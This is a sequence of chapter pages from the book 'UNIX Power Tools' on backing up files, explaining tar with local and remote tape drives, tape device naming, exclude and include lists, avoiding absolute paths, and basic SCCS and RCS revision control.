Part of the difficulty in using tar is figuring out which filename to use for which device. The best way to find out is by asking your system administrator. If you can't, here are some ideas for Sun computers. If you have a 1/2-inch tape drive, try:

% tar cf /dev/rmt8 .

If you have a 1/4-inch tape cartridge [or any drive connected by SCSI-JP ], try:

% tar cf /dev/rst8 .

If this doesn't work, then try changing the 8 to a 0. You can also list the devices in the /dev directory and look for one that has the most recent usage:

ut [ ]
% ls -lut /dev/r[ms]t*

Some UNIX systems use different standards for naming magnetic tapes. There might be an h at the end of a name for high density. When in doubt, examine the major and minor numbers (17.22) (using the ls -l command) and read the appropriate manual page, which can be found by searching through the possible entries using man -k or apropos (50.2):

% man -k mt
% man -k tape

20.3.3 More on Tape Names

The names of tape devices typically start with an r, which suggests they are raw devices that do not support a filesystem. If the first two letters are nr, then this suggests a no-rewind operation. Normally the tape is automatically rewound when you are done. If you repeat the tar command, it will overwrite the first dump. [1] As this can waste large amounts of tape if the dumps are small, use the nr name of the tape to put several dumps on one tape. As an example, if you wanted to dump three separate directories to a 1/4-inch tape cartridge, you can type:

[1] This is probably not what you want. You could use a new tape for each dump.

% cd dir1
% tar cf /dev/nrst8 .
% cd dir2
% tar cf /dev/nrst8 .
% cd dir3
% tar cf /dev/rst8 .

Note that the third dump does not use the no-rewind name of the device, so that it will rewind when done.

To examine a tape without extracting any files, get a table of contents and use the key letter t or tv instead of the c . Adding the v flag gives a more verbose listing.

If you want to examine the third dump file, you can either use tar twice with the no-rewind names or skip forward one or more dump files by using the mt (magnetic tape) command to skip forward two. Be sure to use the no-rewind name:

% mt -f /dev/nrst8 fsf 2

In some versions of tar, if you defined an environment variable TAPE:

setenv TAPE /dev/rst8

then you don't have to specify it for the mt or tar commands.

- BB

Previous: 20.2 Make Your Own Backups | UNIX Power Tools | Next: 20.4 Restoring Files from Tape with tar
20.2 Make Your Own Backups | Book Index | 20.4 Restoring Files from Tape with tar
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.4 Restoring Files from Tape with tar

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.3 How to Make Backups with a Local Tape Drive Chapter 20
Backing Up Files 		Next: 20.5 Using tar to a Remote Tape Drive

20.4 Restoring Files from Tape with tar

When you create an archive, there are several ways to specify the directory. If the directory is under the current directory, you could type:

% tar c project

A similar way to specify the same directory is:

% tar c ./project

If you are currently in the directory you want archived, you can type:

% tar c .

Another way to archive the current directory is to type:

% tar c *

Here, the shell expands the * (asterisk) to the files in the current directory. However, it does not match files starting with a . (dot), which is why the previous technique is preferred.

This causes a problem when restoring a directory from a tar archive. You may not know if an archive was created using . or the directory name.

I always check the names of the files before restoring an archive:

% tar t

If the archive loads the files into the current directory, I create a new directory, change to it, and extract the files.

If the archive restores the directory by name, then I restore the files into the current directory.

20.4.1 Restoring a Few Files

If you want to restore a single file, get the pathname of the file as tar knows it, using the t flag. You must specify the exact filename, because filename and ./filename are not the same. You can combine these two steps into one command by using [this may run very slowly-JP ]:

% tar xvf /dev/rst0 `tar tf /dev/rst0 | grep filename`

Whenever you use tar to restore a directory, you must always specify some filename. If none is specified, no files are restored.

There is still the problem of restoring a directory whose pathname starts with / (slash). Because tar restores a file to the pathname specified in the archive, you cannot change where the file will be restored. The danger is that either you may overwrite some existing files or you will not be able to restore the files because you don't have permission.

You can ask the system administrator to rename a directory and temporarily create a symbolic link pointing to a directory where you can restore the files. Other solutions exist, including editing the tar archive and creating a new directory structure with a C program executing the chroot(2) system call. Another solution is to use the version from the Free Software Foundation (52.9) that allows you to remap pathnames starting with / (slash). It also allows you to create archives that are too large for a single tape, incremental archives, and a dozen other advantages. This freely available version of tar is also called GNU tar (19.6). (It's on the disc.)

But the best solution is to never create an archive of a directory that starts with / (slash) or ~ (tilde) (14.11).

20.4.2 Remote Restoring

To restore a directory from a remote host, use the following command:

rsh
% rsh -n host dd if=/dev/rst0 bs=20b | tar xvBfb - 20 files

Because of its nature, it is difficult to read fixed-size blocks over a network. This is why tar uses the B flag to force it to read from the pipe until a block is completely filled. [Some versions of tar, like the one from GNU (52.9) on the CD-ROM, handle remote drives automatically. -JIK ]

- BB

Previous: 20.3 How to Make Backups with a Local Tape Drive | UNIX Power Tools | Next: 20.5 Using tar to a Remote Tape Drive
20.3 How to Make Backups with a Local Tape Drive | Book Index | 20.5 Using tar to a Remote Tape Drive
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.5 Using tar to a Remote Tape Drive

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.4 Restoring Files from Tape with tar Chapter 20
Backing Up Files 		Next: 20.6 Writing a Tape Drive on a Remote Machine

20.5 Using tar to a Remote Tape Drive

If your computer doesn't have a tape drive connected, creating tar (20.1) backup files is slightly more complicated. If you have an account on a machine with a tape drive, and the directory is mounted via NFS (1.33), you can just rlogin (1.33) to the other machine and use tar to back up your directory.

If the directory is not NFS mounted, or it is mounted but you have permission problems accessing your own files, you can use tar, rsh (1.33), and dd (35.6) to solve this dilemma. The syntax is confusing, but if you forget, you can use man tar (50.1) to refresh your memory. The command to dump the current directory to a tape in a remote machine called zephyrus is:

% tar cvfb - 20 . | rsh zephyrus dd of=/dev/rmt0 obs=20b

Here, the output file of tar is - (13.13), which tar interprets as standard input if tar is reading an archive or standard output if tar is creating an archive.

The dd command copies data from standard input to the device /dev/rmt0. Article 20.6 explains more about how this works.

This example assumes you can use rsh without requiring a password. You can add your current machine's name to the remote .rhosts file (1.33) if you get a Password: prompt when you use rlogin to access this machine.

- BB

Previous: 20.4 Restoring Files from Tape with tar | UNIX Power Tools | Next: 20.6 Writing a Tape Drive on a Remote Machine
20.4 Restoring Files from Tape with tar | Book Index | 20.6 Writing a Tape Drive on a Remote Machine
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.6 Writing a Tape Drive on a Remote Machine

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.5 Using tar to a Remote Tape Drive Chapter 20
Backing Up Files 		Next: 20.7 Creating a Timestamp File for Selective Backups

20.6 Writing a Tape Drive on a Remote Machine

[Bruce Barnett introduces this topic in article 20.5. -JP]

In news posting <5932@tahoe.unr.edu> malc@equinox.unr.edu (Malcolm Carlock) asked how to make tar write a remote tape drive via rsh (1.33) and dd (35.6). Here's the answer:

% tar cf - . | rsh foo dd of=/dev/device obs=20b

Be forewarned that most incarnations of dd are extremely slow at handling this.

What is going on? This answer requires some background:

  • Tapes have "block sizes." Not all tapes, mind you - most SCSI tapes have a fixed block size that can, for the most part, be ignored. Nine-track tapes, however, typically record data in "records" separated by "gaps," and only whole records can be reread later.

  • In order to accommodate this, UNIX tape drivers generally translate each read( ) or write( ) system call into a single record transfer. The size of a written record is the number of bytes passed to write( ). (There may be some additional constraints, such as "the size must be even" or "the size must be no more than 32768 bytes." Note that phase-encoded (1600-bpi) blocks should be no longer than 10240 bytes, and GCR (6250-bpi) blocks should be no longer than 32768 bytes, to reduce the chance of an unrecoverable error.) Each read( ) call must ask for at least one whole record (many drivers get this wrong and silently drop trailing portions of a record that was longer than the byte count given to read( )); each read( ) returns the actual number of bytes in the record.

  • Network connections are generally "byte streams": the two host "peers" (above, the machine running tar, and the machine with the tape drive) will exchange data but will drop any "record boundary" notion at the protocol-interface level. If record boundaries are to be preserved, this must be done in a layer above the network protocol itself. (Not all network protocols are stream-oriented, not even flow-controlled, error-recovering protocols. Internet RDP and XNS SPP are two examples of reliable record-oriented protocols. Many of these, however, impose fairly small record sizes.)

  • rsh simply opens a stream protocol, and does no work to preserve "packet boundaries."

  • dd works in mysterious ways:

    dd if=x of=y

    is the same as:

    dd if=x of=y ibs=512 obs=512

    which means: open files x and y, then loop doing read(fd_x) with a byte count of 512, take whatever you got, copy it into an output buffer for file y, and each time that buffer reaches 512 bytes, do a single write(fd_y) with 512 bytes.

    On the other hand:

    dd if=x of=y bs=512

    means something completely different: open files x and y, then loop doing read(fd_x) with a byte count of 512, take whatever you got, and do a single write(fd_y) with that count. All of this means that:

    % tar cf - . | rsh otherhost dd of=/dev/device

    will write 512-byte blocks (not what you wanted), while:

    % tar cf - . | rsh otherhost dd of=/dev/device bs=20b

    will be even worse: it will take whatever it gets from stdin-which, being a TCP connection, will be arbitrarily lumpy depending on the underlying network parameters and the particular TCP implementation - and write essentially random-sized records. On purely "local" (Ethernet) connections, with typical implementations, you will wind up with 1024-byte blocks (a tar "block factor" of 2).

If a blocking factor of 2 is acceptable, and if cat forces 1024-byte blocks (both true in some cases), you can use:

% tar cf - . | rsh otherhost "cat >/dev/device"

but this depends on undocumented features in cat. In any case, on nine-track tapes, since each gap occupies approximately 0.7 inches of otherwise useful tape space, a block size of 1024 has ten times as many gaps as a block size of 10240, wasting 9x1600x0.7 = 10 kbytes of tape at 1600 bpi, or 32 times as many as a size of 32768, wasting 31x6250x0.7 = 136 kbytes of tape at 6250 bpi.

I say "approximately" because actual gap sizes vary. In particular, certain "streaming" drives (all too often called streaming because they do not - in some cases the controller is too "smart" to be able to keep up with the required data rate, even when fed back-to-back DMA requests) have been known to stretch the gaps to 0.9 inches.

In general, because of tape gaps, you should use the largest record size that permits error recovery. Note, however, that some olid [2] hardware (such as that found on certain AT&T 3B systems) puts a ridiculous upper limit (5K) on tape blocks.

[2] Go ahead, look it up... it is a perfectly good crossword puzzle word. :-)

- CT in comp.unix.questions on Usenet, 3 April 1991

Previous: 20.5 Using tar to a Remote Tape Drive | UNIX Power Tools | Next: 20.7 Creating a Timestamp File for Selective Backups
20.5 Using tar to a Remote Tape Drive | Book Index | 20.7 Creating a Timestamp File for Selective Backups
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.7 Creating a Timestamp File for Selective Backups

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.6 Writing a Tape Drive on a Remote Machine Chapter 20
Backing Up Files 		Next: 20.8 Telling tar Which Files to Exclude or Include

20.7 Creating a Timestamp File for Selective Backups

Whenever I upgraded to a new version of UNIX, one common problem was making sure I maintained all of the changes made to the standard release of UNIX. Previously, I did an ls -lt (16.2) in each directory, and then I examined the modification date. The files that were changed have an obviously newer date than the original programs [unless the changed files come from a tar archive, with their original modification dates preserved! -JP ] Even so, finding every change was tedious, as there were dozens of directories to be searched.

A better solution is to create a file as the first step in upgrading. I usually call this FirstFile. find has a -newer option (17.8) that tests each file and compares the modification date to the newer file. If you then wanted to list all files in /usr that need to be saved when the operating system is upgraded, use:

% find /usr -newer /usr/FirstFile -print

This could then be used to create a tar (19.5) or cpio (19.9) file that would be restored after the upgrade.

- BB

Previous: 20.6 Writing a Tape Drive on a Remote Machine | UNIX Power Tools | Next: 20.8 Telling tar Which Files to Exclude or Include
20.6 Writing a Tape Drive on a Remote Machine | Book Index | 20.8 Telling tar Which Files to Exclude or Include
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.8 Telling tar Which Files to Exclude or Include

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.7 Creating a Timestamp File for Selective Backups Chapter 20
Backing Up Files 		Next: 20.9 When a Program Doesn't Understand Wildcards

20.8 Telling tar Which Files to Exclude or Include

[This article was written for SunOS. Many versions of tar don't have some or all of these features. Some do it in a different way. Check your tar manual page, or use the GNU tar (19.6) that we provide on the disc. -JP]

On some systems, make (28.13) creates filenames starting with a comma (,) to keep track of dependencies. Various editors create backup files whose names end with a percent sign (%) or a tilde (~). I often keep the original copy of a program with the .orig extension and old versions with a .old extension.

I often don't want to save these files on my backups. There may be some binary files that I don't want to archive, but don't want to delete either.

A solution is to use the X flag to tar (20.1). [Check your tar manual page for the F and FF options, too. -JIK ] This flag specifies that the matching argument to tar is the name of a file that lists files to exclude from the archive. Here is an example:

% find project ! -type d -print | \
egrep '/,|%$|~$|\.old$|SCCS|/core$|\.o$|\.orig$' > Exclude
% tar cvfX project.tar Exclude project

In this example, find (17.1) lists all files in the directories, but does not print the directory names explicitly. If you have a directory name in an excluded list, it will also exclude all the files inside the directory. egrep (27.5) is then used as a filter to exclude certain files from the archive. Here, egrep is given several regular expressions to match certain files. This expression seems complex but is simple once you understand a few special characters:

/

The slash is not a special character. However, since no filename can contain a slash, it matches the beginning of a filename, as output by the find command.

|

The vertical bar separates each regular expression.

$

The dollar sign is one of the two regular expression "anchors" and specifies the end of the line, or filename in this case. The other anchor, which specifies the beginning of the line, is ^ (caret). But because we are matching filenames output by find, the only filenames that can match ^ are those in the top directory.

\.

Normally the dot matches any character in a regular expression. Here, we want to match the actual character . (dot), which is why the backslash is used to quote or escape the normal meaning.

A breakdown of the patterns and examples of the files that match these patterns is given here:

Pattern | Matches Files | Used by
/, | starting with , | make dependency files
%$ | ending with % | textedit backup files
~$ | ending with ~ | emacs backup files
\.old$ | ending with .old | old copies
SCCS | in SCCS directory | Source Code Control System (20.13)
/core$ | with name of core | core dump (52.9)
\.o$ | ending with .o | object files
\.orig$ | ending with .orig | original version

Instead of specifying which files are to be excluded, you can specify which files to archive using the -I option. As with the exclude flag, specifying a directory tells tar to include (or exclude) the entire directory. You should also note that the syntax of the -I option is different from the typical tar flag. The next example archives all C files and makefiles. It uses egrep's () grouping operators to make the $ anchor character apply to all patterns inside the parentheses:

% find project -type f -print | \
egrep '(\.[ch]|[Mm]akefile)$' > Include
% tar cvf project.tar -I Include

I suggest using find to create the include or exclude file. You can edit it afterward, if you wish. One caution: extra spaces at the end of any line will cause that file to be ignored.

One way to debug the output of the find command is to use /dev/null (13.14) as the output file:

% tar cvfX /dev/null Exclude project

20.8.1 Including Other Directories

There are times when you want to make an archive of several directories. You may want to archive a source directory and another directory like /usr/local. The natural, but wrong, way to do this is to use the command:

% tar cvf /dev/rmt8 project /usr/local

NOTE: When using tar, you must never specify a directory name starting with a slash (/). This will cause problems when you restore a directory, as you will see later (20.10).

The proper way to handle the incorrect example above is to use the -C flag:

% tar cvf /dev/rmt8 project -C /usr local

This will archive /usr/local/... as local/.... Article 20.10 has more information.

20.8.2 Type Pathnames Exactly

For the above options to work when you extract files from an archive, the pathname given in the include or exclude file must exactly match the pathname on the tape.

Here's a sample run. I'm extracting from a file named appe.tar. Of course, this example applies to tapes, too:

% tar tf appe.tar
appe
code/appendix/font_styles.c
code/appendix/xmemo.c
code/appendix/xshowbitmap.c
code/appendix/zcard.c
code/appendix/zcard.icon

Next, I create an exclude file, named exclude, that contains the lines:

code/appendix/zcard.c
code/appendix/zcard.icon

Now, I run the following tar command:

% tar xvfX appe.tar exclude
x appe, 6421 bytes, 13 tape blocks
x code/appendix/font_styles.c, 3457 bytes, 7 tape blocks
x code/appendix/xmemo.c, 10920 bytes, 22 tape blocks
x code/appendix/xshowbitmap.c, 20906 bytes, 41 tape blocks
code/appendix/zcard.c excluded
code/appendix/zcard.icon excluded

20.8.3 Exclude the Archive File!

If you're archiving the current directory (.) instead of starting at a subdirectory, remember to start with two pathnames in the Exclude file: the archive that tar creates and the Exclude file itself. That keeps tar from trying to archive its own output!

% cat > Exclude
./somedir.tar
./Exclude
[CTRL-d]
% find . -type f -print | \
egrep  '/,|%$|~$|\.old$|SCCS|/core$|\.o$|\.orig$' >>Exclude
% tar cvfX somedir.tar Exclude .

In that example, we used cat > (25.2) to create the file quickly; you could use a text editor instead. Notice that the pathnames in the Exclude file start with ./; that's what the tar command expects when you tell it to archive the current directory (.). The long find/egrep command line uses the >> operator (13.1) to add other pathnames to the end of the Exclude file.

Or, instead of adding the archive and exclude file's pathnames to the exclude file, you can move those two files somewhere out of the directory tree that tar will read.

- BB, TOR

Previous: 20.7 Creating a Timestamp File for Selective Backups | UNIX Power Tools | Next: 20.9 When a Program Doesn't Understand Wildcards
20.7 Creating a Timestamp File for Selective Backups | Book Index | 20.9 When a Program Doesn't Understand Wildcards
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.9 When a Program Doesn't Understand Wildcards

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.8 Telling tar Which Files to Exclude or Include Chapter 20
Backing Up Files 		Next: 20.10 Avoid Absolute Paths with tar

20.9 When a Program Doesn't Understand Wildcards

When extracting files from a tar archive, it's handy to be able to use wildcards. You have to protect them (8.14) from the shell, so that they are passed directly to tar.

However, in general tar don't understand wildcards. There's a terribly ugly hack that you can use to select the files you want anyway. Try a command like this:

`...`
% tar xvf /dev/rst0 `tar tf /dev/rst0 | egrep  'lib/(foo|bar)'`

What you're doing here is using tar twice. tar t will print the names of all the files on the tape. The pattern supplied to egrep (27.5) selects the pathnames containg lib/foo or lib/bar, and the resulting filenames are passed to the first tar command, which actually extracts the files from the archive.

- TOR

Previous: 20.8 Telling tar Which Files to Exclude or Include | UNIX Power Tools | Next: 20.10 Avoid Absolute Paths with tar
20.8 Telling tar Which Files to Exclude or Include | Book Index | 20.10 Avoid Absolute Paths with tar
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.10 Avoid Absolute Paths with tar

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.9 When a Program Doesn't Understand Wildcards Chapter 20
Backing Up Files 		Next: 20.11 Getting tar's Arguments in the Right Order

20.10 Avoid Absolute Paths with tar

One problem with most versions of tar: it can't change a file's pathname when restoring. Let's say that you put your home directory in an archive (tape or otherwise) with a command like this:

% tar c /home/mike

What will these files be named when you restore them, either on your own system or on some other system? They will have exactly the same pathnames that they had originally. So if /home/mike already exists, it will be destroyed. There's no way to tell tar that it should be careful about overwriting files; there's no way to tell tar to put the files in some other directory when it takes them off the tape, etc. If you use absolute pathnames (14.2) when you create a tape, you're stuck. If you use relative paths (14.2) (for example, tar c .), you can restore the files in any directory you want. [GNU tar (on the CD-ROM) converts absolute pathnames to relative, by default. Most other tars don't do that, though, so I don't advise relying on the feature. -JP]

This means that you should:

  • Avoid using absolute paths when you create an archive (see below).

  • Use tar t to see what files are on the tape before restoring the archive.

  • Use GNU tar (on the CD-ROM). It can ignore the leading / as it extracts files.

Rather than giving a command like tar c /home/mike, do something like:

% cd /home/mike
% tar c .

Or, even more elegant, use -C on the tar command line:

% tar c -C /home/mike .

This command tells tar to cd to the directory /home/mike before creating the archive. If you want to archive several directories, you can use several -C options:

% tar c -C /home/mike ./docs  -C /home/susan ./test

This command archives mike's docs directory and susan's test directory.

- ML

Previous: 20.9 When a Program Doesn't Understand Wildcards | UNIX Power Tools | Next: 20.11 Getting tar's Arguments in the Right Order
20.9 When a Program Doesn't Understand Wildcards | Book Index | 20.11 Getting tar's Arguments in the Right Order
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.11 Getting tar's Arguments in the Right Order

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.10 Avoid Absolute Paths with tar Chapter 20
Backing Up Files 		Next: 20.12 Protecting Files with SCCS or RCS

20.11 Getting tar's Arguments in the Right Order

tar's command line is one of UNIX's little mysteries. It's difficult to associate arguments with options. Let's say you want to specify the block size (b), the output file (f ), and an "exclude" file (X). Where do you put all this information? It's easy enough to stick the option letters into a lump and put them into a command (tar cXbf). But where do you put the block size, the name of the exclude file, and so on?

List any arguments that you need after the block of key letters. You must place the arguments in the same order as the key letters, as shown in Figure 20.1.

Figure 20.1: tar Options and Arguments

In this command, keepout goes with the X option, 20 goes with the b option, and archive.shar goes with the f option. If we put the options in a different order, we also have to put the arguments in a different order (see Figure 20.2).

Figure 20.2: The Same Command, Rearranged

Note that the files you want to put on the tape (or the files you want to extract from the tape) always go at the end of the command. These are not arguments to c or X; they are part of the command itself.

The dump command and a few others work the same way.

- ML

Previous: 20.10 Avoid Absolute Paths with tar | UNIX Power Tools | Next: 20.12 Protecting Files with SCCS or RCS
20.10 Avoid Absolute Paths with tar | Book Index | 20.12 Protecting Files with SCCS or RCS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.12 Protecting Files with SCCS or RCS

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.11 Getting tar's Arguments in the Right Order Chapter 20
Backing Up Files 		Next: 20.13 SCCS Basics

20.12 Protecting Files with SCCS or RCS

You don't need to ask the system manager to restore files. When you do need a file, you can get it right away, without waiting. What's more, you can recover any version you want, with one command, and get the file back immediately.

Sounds great, doesn't it?

All you need to do is use either SCCS (Source Code Control System) or RCS (Revision Control System). SCCS comes standard on most System V UNIXes; RCS is available on many BSD-based systems, and is also available on the CD-ROM.

Of course, SCCS and RCS won't protect you from a disk crash, but they can protect you from many cases of accidental file deletion or corruption. These tools were developed to manage multi-person development projects, ensuring that only one person has write access to a file at one time, and making it possible to go back to any previous version of a file. But as it turns out, they are handy for any user who has important files that change frequently.

Article 20.13 tells how to use SCCS to protect your files. Article 20.14 does the same for RCS.

- BB, TOR

Previous: 20.11 Getting tar's Arguments in the Right Order | UNIX Power Tools | Next: 20.13 SCCS Basics
20.11 Getting tar's Arguments in the Right Order | Book Index | 20.13 SCCS Basics
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.13 SCCS Basics

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.12 Protecting Files with SCCS or RCS Chapter 20
Backing Up Files 		Next: 20.14 RCS Basics

20.13 SCCS Basics

If you don't know SCCS, you probably thought it was hard to learn. Not true. Here is a simple introduction to SCCS.

  1. Create a subdirectory called SCCS in the directory where you keep the code or other text files you want to protect.

  2. Add the characters %W%   %G% somewhere in the file you want to place under SCCS. Put this in a comment field. That is, use /* %W%    %G% */ in a C program and # %W%    %G% in a shell script.

  3. Place the file under source code control. This is done by typing:

    % sccs create filename

That's it. You're done. There are three more commands you need to know:

% sccs get filename
% sccs edit filename
% sccs delta filename

You may also want to add the following to your list of aliases (10.2):

C shell      ksh, bash
alias Create 'sccs create'           alias Create='sccs create'
alias Get 'sccs get'                 alias Get='sccs get'
alias Edit 'sccs edit'               alias Edit='sccs edit'
alias Delta 'sccs delta'             alias Delta='sccs delta'

The get command will get a copy of the file from the Source Code Control System. The file will be marked read-only (22.2). If you want to edit the file, use the edit command. Once you are done, return the file to the SCCS directory with the command delta. Each time you store the file, you'll get a new version number, or "delta."

There are only two more commands that you will need to know. If you checked out a file for editing, and later on decided you didn't want to edit, use:

% sccs unedit filename

and if you want a list of all files currently checked out, use:

% sccs check

That's all there is to it! If you are not using SCCS, you should. It is the best way to protect yourself. It does not require dozens of tapes.

It is much easier to just type:

% sccs get -r1.12 filename

One command, and version 1.12 is restored. If it's not the right one, restore the version before or after the one you just grabbed. If you are worried that you are keeping 12 versions of the file on the disk, and that this will use up a lot of disk space, don't. SCCS stores the differences in a clever manner that allows it to recover any version of the file in a single pass through the file.

Suppose you delete a file by accident? Well, if the file is just checked out with a get, it will be retrieved and marked read-only, so deleting the file will cause rm to ask you for confirmation. If you do delete it, you can recover it with another get command. Suppose you check out a file with edit, because you planned to change it. Well, if this file gets deleted accidentally, you would lose the most recent changes. This is why you should check your files back into SCCS frequently - several times a day, if you wish. Do it whenever you make significant changes to the file, and it would be difficult to remember all of the changes. Making hundreds of changes to a file without checking it back into the system is just begging for trouble.

Good luck, and may you never delete another important file by accident. [There are several other revision control systems - including RCS (20.14), which is widely used and available on the CD-ROM. You can probably get the most help on whatever revision control system your colleagues use. Also see O'Reilly & Associates' Applying RCS and SCCS. -JP ]

- BB

Previous: 20.12 Protecting Files with SCCS or RCS | UNIX Power Tools | Next: 20.14 RCS Basics
20.12 Protecting Files with SCCS or RCS | Book Index | 20.14 RCS Basics
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.14 RCS Basics

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.13 SCCS Basics Chapter 20
Backing Up Files 		Next: 20.15 List RCS Revision Numbers with rcsrevs

20.14 RCS Basics

rcs
[I've patterned this article after the article on SCCS (20.13) by Bruce Barnett. This one shows how to do the same things with the Revision Control System, RCS, which is on many systems - and also on the CD-ROM. -JP]

You don't need to ask the system manager to restore files. You can recover any version you want with one command. Here is a simple introduction to RCS.

  1. Create a subdirectory called RCS in the directory where you keep the code or other text files you want to protect.

  2. It's a good idea (but not required) to add the characters $Id$ somewhere in the file you want to place under RCS. Put this in a comment field. That is, use /* $Id$ */ in a C program and # $Id$ in a shell or Perl script.

  3. Place the file under Revision Control. This is done by typing:

    % ci filename

    The ci (checkin) program will prompt you for a short description of the file. That's it. You're done. There is another command and an option you need to know:

    % co filename
% co -l filename

    The co (checkout) command will get a copy of the file from RCS. The file will be marked read-only. If you want to edit the file, use the co -l command (the option is a lowercase L)-then, when you're done, return the file to the RCS directory with the command ci. When you check in the file, ci asks for a brief description of your changes. These can be very useful, later, to learn the history of revisions and to find a particular revision you might want to recover; the command rlog filename gives that info.

There are only two more commands that you will need to know. If you checked out a file for editing, and later on decided you didn't want to change it, use:

% rcs -u filename
% rm filename

and if you want a list of all files currently checked out, use:

% rlog -L -R RCS/*

(If you don't use RCS often, you may want to store those command lines in aliases or shell functions (10.1) with names like Checkout, Checkedout, and so on.) That's all there is to it! If you are not using RCS or SCCS, you should. They are the best way to protect yourself and do not require dozens of tapes.

It is much easier to just type:

% co -r1.12 filename

One command, and version 1.12 is restored. If it's not the right one, restore the version before or after the one you just grabbed. (If you don't want to create a file, you can add the -p option to send the file to standard output. Pipe the co output to another program: a pager, a printer, etc.)

If you are worried that you are keeping 12 versions of the file on the disk, and that this will use up a lot of disk space, don't. RCS stores the differences between versions, not 12 separate copies of the file. It can recover any version of the file.

Suppose you delete a file by accident? Well, if the file is just checked out with a co, it will be retrieved and marked read-only, so deleting the file will cause rm to ask you for confirmation. If you do delete it, you can recover it with another co command. Suppose you check out a file with co -l, because you planned to change it. Well, if this file gets deleted accidentally, you would lose the most recent changes. This is why you should check your files back into RCS frequently - several times a day or even more. Do it whenever you make significant changes to the file, and it would be difficult to remember all of the changes. Making hundreds of changes to a file without checking it back into the system is just begging for trouble.

This brief overview left out a lot of features and helpful information. For example, RCS can:

  • Merge two or more peoples' work into one with rcsmerge and co -j.

  • Build a tree of revisions with multiple branches and sub-branches. This lets you make and store multiple independent revisions.

  • Assign an arbitrary `state' to each revision - for example, alpha, released, stable.

  • Name each revision, refer to revisions by name instead of number.

  • Keep a list of users who are allowed to manipulate a particular RCS file.

To find out more, see the RCS manual pages. rcsintro(1) gives a more complete overview; manpages like ci(1) have details on the many other useful features. Finally, O'Reilly & Associates' Applying RCS and SCCS is packed with tips and techniques for using revision control in group projects (where you'll need it even more). Articles 27.10 and 20.15 explain tools for searching RCS files. The script in article 25.5, rcsmore (and rcsless and rcspg), makes it easy to read through RCS files.

- JP, BB

Previous: 20.13 SCCS Basics | UNIX Power Tools | Next: 20.15 List RCS Revision Numbers with rcsrevs
20.13 SCCS Basics | Book Index | 20.15 List RCS Revision Numbers with rcsrevs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.15 List RCS Revision Numbers with rcsrevs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.14 RCS Basics Chapter 20
Backing Up Files 		Next: 21. More About Managing Files

20.15 List RCS Revision Numbers with rcsrevs

rcsrevs
 The rcsrevs script tells you all the revision numbers that are stored in an RCS (20.14) file. For instance:

% rcsrevs myprog
1.3
1.2
1.1
1.2.1.1

What good is that? Here are two examples.

  1. rcsgrep -a (27.10) uses rcsrevs when it's searching all revisions of an RCS file. If you want to print all revisions, run a program across all revisions to do some kind of check, and so on, rcsrevs can give you the revision numbers to use in a loop (9.12, 9.11). The shell loop below gets all the revision numbers and stores them in the revnum shell variable one by one; it runs co -p (20.14) to send each revision to the pr -h (43.7) command for formatting with a custom header; the output of the commands in the loop goes to the printer.

    `...`
>

done|lpr
    $ for revnum in `rcsrevs somefile`
> do
>   co -p -r$revnum somefile | pr -h "somefile revision #$revnum"
> done | lpr

  2. You'd like to compare the two most recent revisions of several RCS files to see what the last change was. But the revision numbers in each file are different. (One file's latest revision might be 2.4, another file could be at 1.7, etc.) Use head (25.20) to grab the two highest revision numbers from the rcsrevs output, tail -r (25.15) to reverse the order (put the older revision number first), use sed to make the revision numbers into a pair of -r options (like -r1.6 -r1.7), then run rcsdiff to do the comparisons and email (1.33) them to bigboss:

?

    % foreach file (*.cc *.h Makefile)
? set revs=`rcsrevs $f | head -2 | tail -r | sed 's/^/-r/'`
? rcsdiff $revs $f | mail -s "changes to $file" bigboss
? end

